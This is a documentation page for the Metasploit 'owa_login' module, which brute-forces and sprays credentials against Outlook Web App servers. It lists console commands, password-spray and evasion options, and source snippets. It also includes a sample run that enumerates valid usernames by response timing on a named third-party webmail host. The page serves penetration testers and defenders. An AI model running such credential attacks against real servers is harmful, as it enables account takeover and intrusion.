Outlook Web App (OWA) Brute Force Utility - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/http/owa_login metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Outlook Web App (OWA) Brute Force Utility
Module: auxiliary/scanner/http/owa_login
Source code: modules/auxiliary/scanner/http/owa_login.rb
Disclosure date: -
Last modification time: 2021-01-28 10:35:25 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -

This module tests credentials on OWA 2003, 2007, 2010, 2013, and 2016 servers.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/http/owa_login
msf auxiliary(owa_login) > show options
    ... show and set options ...
msf auxiliary(owa_login) > set RHOSTS ip-range
msf auxiliary(owa_login) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(owa_login) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(owa_login) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(owa_login) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOST: The target address

Knowledge Base


This module tests credentials on OWA 2003, 2007, 2010, 2013, and 2016 servers.

NOTE: This module assumes that login attempts that take a long time (>1 sec) to return are using a valid domain username. This methodology does not work when passing a full email address ([email protected]). Full email addresses will not be saved as potentially valid usernames unless we get a successful login.

Verification Steps


  1. Do: use auxiliary/scanner/http/owa_login
  2. Do: set RHOSTS [IP]
  3. Configure a user and password list by setting either USERNAME, PASSWORD, USER_FILE, or PASS_FILE.
  4. Do: run

Scenarios


msf5 auxiliary(scanner/http/owa_login) > run

[*] webmail.hostingcloudapp.com:443 OWA - Testing version OWA_2013
[+] Found target domain: HOSTINGCLOUDAPP
[*] webmail.hostingcloudapp.com:443 OWA - Trying administrator : password
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
[+] server type: EXCH2016MBX02
[*] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.267791 'HOSTINGCLOUDAPP\administrator' : 'password': SAVING TO CREDS
[*] webmail.hostingcloudapp.com:443 OWA - Trying administrator : password1
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
[+] server type: EXCH2016MBX02
[*] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.273841 'HOSTINGCLOUDAPP\administrator' : 'password1': SAVING TO CREDS
[*] webmail.hostingcloudapp.com:443 OWA - Trying administrator : fido
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.22
[+] server type: EXCH2016MBX01
[*] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.270796 'HOSTINGCLOUDAPP\administrator' : 'fido': SAVING TO CREDS
[*] webmail.hostingcloudapp.com:443 OWA - Trying johndoe : password
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.22
[+] server type: EXCH2016MBX01
[-] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN. 2.046935 'HOSTINGCLOUDAPP\johndoe' : 'password' (HTTP redirect with reason 2)
[*] webmail.hostingcloudapp.com:443 OWA - Trying johndoe : password1
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
[+] server type: EXCH2016MBX02
[-] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN. 2.073391 'HOSTINGCLOUDAPP\johndoe' : 'password1' (HTTP redirect with reason 2)
[*] webmail.hostingcloudapp.com:443 OWA - Trying johndoe : fido
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
[+] server type: EXCH2016MBX02
[-] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN. 2.038717 'HOSTINGCLOUDAPP\johndoe' : 'fido' (HTTP redirect with reason 2)
[*] webmail.hostingcloudapp.com:443 OWA - Trying bob : password
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
[+] server type: EXCH2016MBX02
[*] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.289186 'HOSTINGCLOUDAPP\bob' : 'password': SAVING TO CREDS
[*] webmail.hostingcloudapp.com:443 OWA - Trying bob : password1
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
[+] server type: EXCH2016MBX02
[*] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.270616 'HOSTINGCLOUDAPP\bob' : 'password1': SAVING TO CREDS
[*] webmail.hostingcloudapp.com:443 OWA - Trying bob : fido
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
[+] server type: EXCH2016MBX02
[*] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.275251 'HOSTINGCLOUDAPP\bob' : 'fido': SAVING TO CREDS
[*] Auxiliary module execution completed

Go back to menu.

Msfconsole Usage


Here is how the scanner/http/owa_login auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/http/owa_login

msf6 auxiliary(scanner/http/owa_login) > show info

       Name: Outlook Web App (OWA) Brute Force Utility
     Module: auxiliary/scanner/http/owa_login
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Vitor Moreira
  Spencer McIntyre
  SecureState R&D Team
  sinn3r <[email protected]>
  Brandon Knight
  Pete (Bokojan) Arzamendi
  Nate Power
  Chapman (R3naissance) Schleiss
  Andrew Smith

Available actions:
  Name      Description
  ----      -----------
  OWA_2003  OWA version 2003
  OWA_2007  OWA version 2007
  OWA_2010  OWA version 2010
  OWA_2013  OWA version 2013
  OWA_2016  OWA version 2016

Check supported:
  No

Basic options:
  Name              Current Setting  Required  Description
  ----              ---------------  --------  -----------
  AUTH_TIME         true             no        Check HTTP authentication response time
  BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
  DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
  DB_ALL_PASS       false            no        Add all passwords in the current database to the list
  DB_ALL_USERS      false            no        Add all users in the current database to the list
  ENUM_DOMAIN       true             yes       Automatically enumerate AD domain using NTLM authentication
  PASSWORD                           no        A specific password to authenticate with
  PASS_FILE                          no        File containing passwords, one per line
  Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOST                              yes       The target address
  RPORT             443              yes       The target port
  SSL               true             no        Negotiate SSL/TLS for outgoing connections
  STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
  THREADS           1                yes       The number of concurrent threads (max one per host)
  USERNAME                           no        A specific username to authenticate as
  USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
  USER_AS_PASS      false            no        Try the username as the password for all users
  USER_FILE                          no        File containing usernames, one per line
  VERBOSE           true             yes       Whether to print output for all attempts
  VHOST                              no        HTTP server virtual host

Description:
  This module tests credentials on OWA 2003, 2007, 2010, 2013, and 
  2016 servers.

Module Options


This is a complete list of options available in the scanner/http/owa_login auxiliary module:

msf6 auxiliary(scanner/http/owa_login) > show options

Module options (auxiliary/scanner/http/owa_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   AUTH_TIME         true             no        Check HTTP authentication response time
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   ENUM_DOMAIN       true             yes       Automatically enumerate AD domain using NTLM authentication
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST                              yes       The target address
   RPORT             443              yes       The target port
   SSL               true             no        Negotiate SSL/TLS for outgoing connections
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads (max one per host)
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts
   VHOST                              no        HTTP server virtual host

Auxiliary action:

   Name      Description
   ----      -----------
   OWA_2013  OWA version 2013

Advanced Options


Here is a complete list of advanced options supported by the scanner/http/owa_login auxiliary module:

msf6 auxiliary(scanner/http/owa_login) > show advanced

Module advanced options (auxiliary/scanner/http/owa_login):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   AD_DOMAIN                                                                 no        Optional AD domain to prepend to usernames
   BaselineAuthTime      1.0                                                 no        Baseline HTTP authentication response time for invalid users
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   MaxGuessesPerService  0                                                   no        Maximum number of credentials to try per service instance. If set to zero or a non-number, this option will not be used.
   MaxGuessesPerUser     0                                                   no        Maximum guesses for a particular username for the service instance. Note that users are considered unique among different services, so a user at 10.1.1.1:22
                                                                                        is different from one at 10.2.2.2:22, and both will be tried up to the MaxGuessesPerUser limit. If set to zero or a non-number, this option will not be use
                                                                                       d.
   MaxMinutesPerService  0                                                   no        Maximum time in minutes to bruteforce the service instance. If set to zero or a non-number, this option will not be used.
   PASSWORD_SPRAY        false                                               yes       Reverse the credential pairing order. For each password, attempt every possible user.
   REMOVE_PASS_FILE      false                                               yes       Automatically delete the PASS_FILE on module completion
   REMOVE_USERPASS_FILE  false                                               yes       Automatically delete the USERPASS_FILE on module completion
   REMOVE_USER_FILE      false                                               yes       Automatically delete the USER_FILE on module completion
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress          true                                                yes       Display progress messages during a scan
   ShowProgressPercent   10                                                  yes       The interval in percent that progress should be shown
   TRANSITION_DELAY      0                                                   no        Amount of time (in minutes) to delay before transitioning to the next user in the array (or password when PASSWORD_SPRAY=true)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/http/owa_login module can do:

msf6 auxiliary(scanner/http/owa_login) > show actions

Auxiliary actions:

   Name      Description
   ----      -----------
   OWA_2003  OWA version 2003
   OWA_2007  OWA version 2007
   OWA_2010  OWA version 2010
   OWA_2013  OWA version 2013
   OWA_2016  OWA version 2016

Evasion Options


Here is the full list of possible evasion options supported by the scanner/http/owa_login auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/http/owa_login) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No username/password specified


Here is a relevant code snippet related to the "No username/password specified" error message:

108:	    isempty = true
109:	    each_user_pass do |user|
110:	      isempty = false
111:	      break
112:	    end
113:	    raise ArgumentError, "No username/password specified" if isempty
114:	  end
115:	
116:	  def run
117:	    vhost = datastore['VHOST'] || datastore['RHOST']
118:	

<MSG> HTTP Connection Error, Aborting


Here is a relevant code snippet related to the "<MSG> HTTP Connection Error, Aborting" error message:

145:	          login_check: login_check,
146:	          vhost: vhost
147:	        })
148:	      end
149:	    rescue ::Rex::ConnectionError, Errno::ECONNREFUSED
150:	      print_error("#{msg} HTTP Connection Error, Aborting")
151:	    end
152:	  end
153:	
154:	  def try_user_pass(opts)
155:	    user = opts[:user]

<MSG> HTTP Connection Failed, Aborting


Here is a relevant code snippet related to the "<MSG> HTTP Connection Failed, Aborting" error message:

196:	
197:	      if datastore['AUTH_TIME']
198:	        elapsed_time = Time.now - start_time
199:	      end
200:	    rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
201:	      print_error("#{msg} HTTP Connection Failed, Aborting")
202:	      return :abort
203:	    end
204:	
205:	    if not res
206:	      print_error("#{msg} HTTP Connection Error, Aborting")

<MSG> HTTP Connection Error, Aborting


Here is a relevant code snippet related to the "<MSG> HTTP Connection Error, Aborting" error message:

201:	      print_error("#{msg} HTTP Connection Failed, Aborting")
202:	      return :abort
203:	    end
204:	
205:	    if not res
206:	      print_error("#{msg} HTTP Connection Error, Aborting")
207:	      return
208:	    end
209:	
210:	    if res.peerinfo['addr'] != datastore['RHOST']
211:	      vprint_status("#{msg} Resolved hostname '#{datastore['RHOST']}' to address #{res.peerinfo['addr']}")

Here is a relevant code snippet related to the "<MSG> Received invalid repsonse due to a missing cookie (possibly due to invalid version), aborting" error message:

210:	    if res.peerinfo['addr'] != datastore['RHOST']
211:	      vprint_status("#{msg} Resolved hostname '#{datastore['RHOST']}' to address #{res.peerinfo['addr']}")
212:	    end
213:	
214:	    if !["OWA_2013", "OWA_2016"].include?(action.name) && res.get_cookies.empty?
215:	        print_error("#{msg} Received invalid repsonse due to a missing cookie (possibly due to invalid version), aborting")
216:	        return :abort
217:	    end
218:	    if ["OWA_2013", "OWA_2016"].include?(action.name)
219:	      # Check for a response code to make sure login was valid. Changes from 2010 to 2013 / 2016
220:	      # Check if the password needs to be changed.

<MSG> No HTTP redirect. This is not OWA 2013 / 2016 system, aborting.


Here is a relevant code snippet related to the "<MSG> No HTTP redirect. This is not OWA 2013 / 2016 system, aborting." error message:

244:	        )
245:	        return :next_user
246:	      end
247:	
248:	      unless location = res.headers['location']
249:	        print_error("#{msg} No HTTP redirect.  This is not OWA 2013 / 2016 system, aborting.")
250:	        return :abort
251:	      end
252:	      reason = location.split('reason=')[1]
253:	      if reason == nil
254:	        headers['Cookie'] = 'PBack=0;' << res.get_cookies

<MSG> FAILED LOGIN, BUT USERNAME IS VALID. <ELAPSED_TIME> '<USER>' : '<PASS>': SAVING TO CREDS


Here is a relevant code snippet related to the "<MSG> FAILED LOGIN, BUT USERNAME IS VALID. <ELAPSED_TIME> '<USER>' : '<PASS>': SAVING TO CREDS" error message:

260:	              ip: res.peerinfo['addr'],
261:	              port: datastore['RPORT'],
262:	              service_name: 'owa',
263:	              user: user
264:	            )
265:	            print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
266:	            return :Skip_pass
267:	          end
268:	        else
269:	          vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (HTTP redirect with reason #{reason})")
270:	          return :Skip_pass

<MSG> FAILED LOGIN. <ELAPSED_TIME> '<USER>' : '<PASS>' (HTTP redirect with reason <REASON>)


Here is a relevant code snippet related to the "<MSG> FAILED LOGIN. <ELAPSED_TIME> '<USER>' : '<PASS>' (HTTP redirect with reason <REASON>)" error message:

264:	            )
265:	            print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
266:	            return :Skip_pass
267:	          end
268:	        else
269:	          vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (HTTP redirect with reason #{reason})")
270:	          return :Skip_pass
271:	        end
272:	      end
273:	    else
274:	       # The authentication info is in the cookies on this response

Here is a relevant code snippet related to the "<MSG> Missing <NECESSARY_COOKIE> cookie. This is not OWA 2010, aborting" error message:

276:	      cookie_header = 'PBack=0'
277:	      %w(sessionid cadata).each do |necessary_cookie|
278:	        if cookies =~ /#{necessary_cookie}=([^;]*)/
279:	          cookie_header << "; #{Regexp.last_match(1)}"
280:	        else
281:	          print_error("#{msg} Missing #{necessary_cookie} cookie.  This is not OWA 2010, aborting")
282:	          return :abort
283:	        end
284:	      end
285:	      headers['Cookie'] = cookie_header
286:	    end

<MSG> HTTP Connection Failed, Aborting


Here is a relevant code snippet related to the "<MSG> HTTP Connection Failed, Aborting" error message:

290:	        'uri'       => inbox_path,
291:	        'method'    => 'GET',
292:	        'headers'   => headers
293:	      }, 20)
294:	    rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
295:	      print_error("#{msg} HTTP Connection Failed, Aborting")
296:	      return :abort
297:	    end
298:	
299:	    if not res
300:	      print_error("#{msg} HTTP Connection Error, Aborting")

<MSG> HTTP Connection Error, Aborting


Here is a relevant code snippet related to the "<MSG> HTTP Connection Error, Aborting" error message:

295:	      print_error("#{msg} HTTP Connection Failed, Aborting")
296:	      return :abort
297:	    end
298:	
299:	    if not res
300:	      print_error("#{msg} HTTP Connection Error, Aborting")
301:	      return :abort
302:	    end
303:	
304:	    if res.redirect?
305:	      if elapsed_time && elapsed_time <= baseline

<MSG> FAILED LOGIN, BUT USERNAME IS VALID. <ELAPSED_TIME> '<USER>' : '<PASS>': SAVING TO CREDS


Here is a relevant code snippet related to the "<MSG> FAILED LOGIN, BUT USERNAME IS VALID. <ELAPSED_TIME> '<USER>' : '<PASS>': SAVING TO CREDS" error message:

308:	            ip: res.peerinfo['addr'],
309:	            port: datastore['RPORT'],
310:	            service_name: 'owa',
311:	            user: user
312:	          )
313:	          print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
314:	          return :Skip_pass
315:	        end
316:	      else
317:	        vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (response was a #{res.code} redirect)")
318:	        return :skip_pass

<MSG> FAILED LOGIN. <ELAPSED_TIME> '<USER>' : '<PASS>' (response was a <RES.CODE> redirect)


Here is a relevant code snippet related to the "<MSG> FAILED LOGIN. <ELAPSED_TIME> '<USER>' : '<PASS>' (response was a <RES.CODE> redirect)" error message:

312:	          )
313:	          print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
314:	          return :Skip_pass
315:	        end
316:	      else
317:	        vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (response was a #{res.code} redirect)")
318:	        return :skip_pass
319:	      end
320:	    end
321:	
322:	    if res.body =~ login_check

<MSG> FAILED LOGIN, BUT USERNAME IS VALID. <ELAPSED_TIME> '<USER>' : '<PASS>': SAVING TO CREDS


Here is a relevant code snippet related to the "<MSG> FAILED LOGIN, BUT USERNAME IS VALID. <ELAPSED_TIME> '<USER>' : '<PASS>': SAVING TO CREDS" error message:

336:	            ip: res.peerinfo['addr'],
337:	            port: datastore['RPORT'],
338:	            service_name: 'owa',
339:	            user: user
340:	          )
341:	          print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
342:	          return :Skip_pass
343:	        end
344:	      else
345:	        vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (response body did not match)")
346:	        return :skip_pass

<MSG> FAILED LOGIN. <ELAPSED_TIME> '<USER>' : '<PASS>' (response body did not match)


Here is a relevant code snippet related to the "<MSG> FAILED LOGIN. <ELAPSED_TIME> '<USER>' : '<PASS>' (response body did not match)" error message:

340:	          )
341:	          print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
342:	          return :Skip_pass
343:	        end
344:	      else
345:	        vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (response body did not match)")
346:	        return :skip_pass
347:	      end
348:	    end
349:	  end
350:	

<MSG> HTTP Connection Failed


Here is a relevant code snippet related to the "<MSG> HTTP Connection Failed" error message:

367:	          'uri'      => "/#{url}",
368:	          'method'   => 'GET',
369:	          'headers'  =>  {'Authorization' => 'NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=='}
370:	        })
371:	      rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
372:	        vprint_error("#{msg} HTTP Connection Failed")
373:	        next
374:	      end
375:	
376:	      if not res
377:	        vprint_error("#{msg} HTTP Connection Timeout")

<MSG> HTTP Connection Timeout


Here is a relevant code snippet related to the "<MSG> HTTP Connection Timeout" error message:

372:	        vprint_error("#{msg} HTTP Connection Failed")
373:	        next
374:	      end
375:	
376:	      if not res
377:	        vprint_error("#{msg} HTTP Connection Timeout")
378:	        next
379:	      end
380:	
381:	      if res && res.code == 401 && res.headers.has_key?('WWW-Authenticate') && res.headers['WWW-Authenticate'].match(/^NTLM/i)
382:	        hash = res['WWW-Authenticate'].split('NTLM ')[1]

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • Vitor Moreira
  • Spencer McIntyre
  • SecureState R&D Team
  • sinn3r
  • Brandon Knight
  • Pete (Bokojan) Arzamendi
  • Nate Power
  • Chapman (R3naissance) Schleiss
  • Andrew Smith

Version


This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.